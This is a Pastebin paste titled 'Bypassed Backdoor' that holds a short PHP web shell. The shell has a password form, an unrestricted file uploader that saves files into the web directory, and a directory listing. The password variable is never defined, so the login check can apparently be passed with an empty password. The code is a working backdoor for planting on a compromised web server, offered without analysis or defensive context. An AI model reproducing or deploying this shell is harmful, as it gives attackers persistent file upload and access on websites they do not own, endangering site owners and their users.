cdw1p

Bypassed Backdoor

Jun 25th, 2020
472
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.17 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  2. <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256" /></head><body>
  3. <?php
  4. if (!empty($_GET['action']) &&  $_GET['action'] == "logout") {session_destroy();unset ($_SESSION['pass']);}
  5.  
  6. $path_name = pathinfo($_SERVER['PHP_SELF']);
  7. $this_script = $path_name['basename'];
  8. if (empty($_SESSION['pass'])) {$_SESSION['pass']='';}
  9. if (empty($_POST['pass'])) {$_POST['pass']='';}
  10. if ( $_SESSION['pass']!== $pass)
  11. {
  12.     if ($_POST['pass'] == $pass) {$_SESSION['pass'] = $pass; }
  13.     else
  14.     {
  15.         echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="pass" type="password"><input type="submit"></form>';
  16.         exit;
  17.     }
  18. }
  19. ?>
  20.  
  21.  
  22. <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  23. File mu mas : <input name="file" type="file" /><br />
  24. <input type="submit" value="Upload" /></form>
  25.  
  26.  
  27. <?php
  28.  
  29. if (!empty($_FILES["file"]))
  30. {
  31.     if ($_FILES["file"]["error"] > 0)
  32.        {echo "Error: " . $_FILES["file"]["error"] . "<br>";}
  33.     else
  34.        {echo "Stored file:".$_FILES["file"]["name"]."<br/>Size:".($_FILES["file"]["size"]/1024)." kB<br/>";
  35.        move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
  36.        }
  37. }
  38.  
  39.     // open this directory
  40.     $myDirectory = opendir(".");
  41.     // get each entry
  42.     while($entryName = readdir($myDirectory)) {$dirArray[] = $entryName;} closedir($myDirectory);
  43.     $indexCount = count($dirArray);
  44.         echo "$indexCount files<br/>";
  45.     sort($dirArray);
  46.  
  47.     echo "<TABLE border=1 cellpadding=5 cellspacing=0 class=whitelinks><TR><TH>Filename</TH><th>Filetype</th><th>Filesize</th></TR>\n";
  48.  
  49.         for($index=0; $index < $indexCount; $index++)
  50.         {
  51.             if (substr("$dirArray[$index]", 0, 1) != ".")
  52.             {
  53.             echo "<TR>
  54.            <td><a href=\"$dirArray[$index]\">$dirArray[$index]</a></td>
  55.            <td>".filetype($dirArray[$index])."</td>
  56.            <td>".filesize($dirArray[$index])."</td>
  57.                </TR>";
  58.             }
  59.         }
  60.     echo "</TABLE>";
  61.     ?>
Add Comment
Please, Sign In to add comment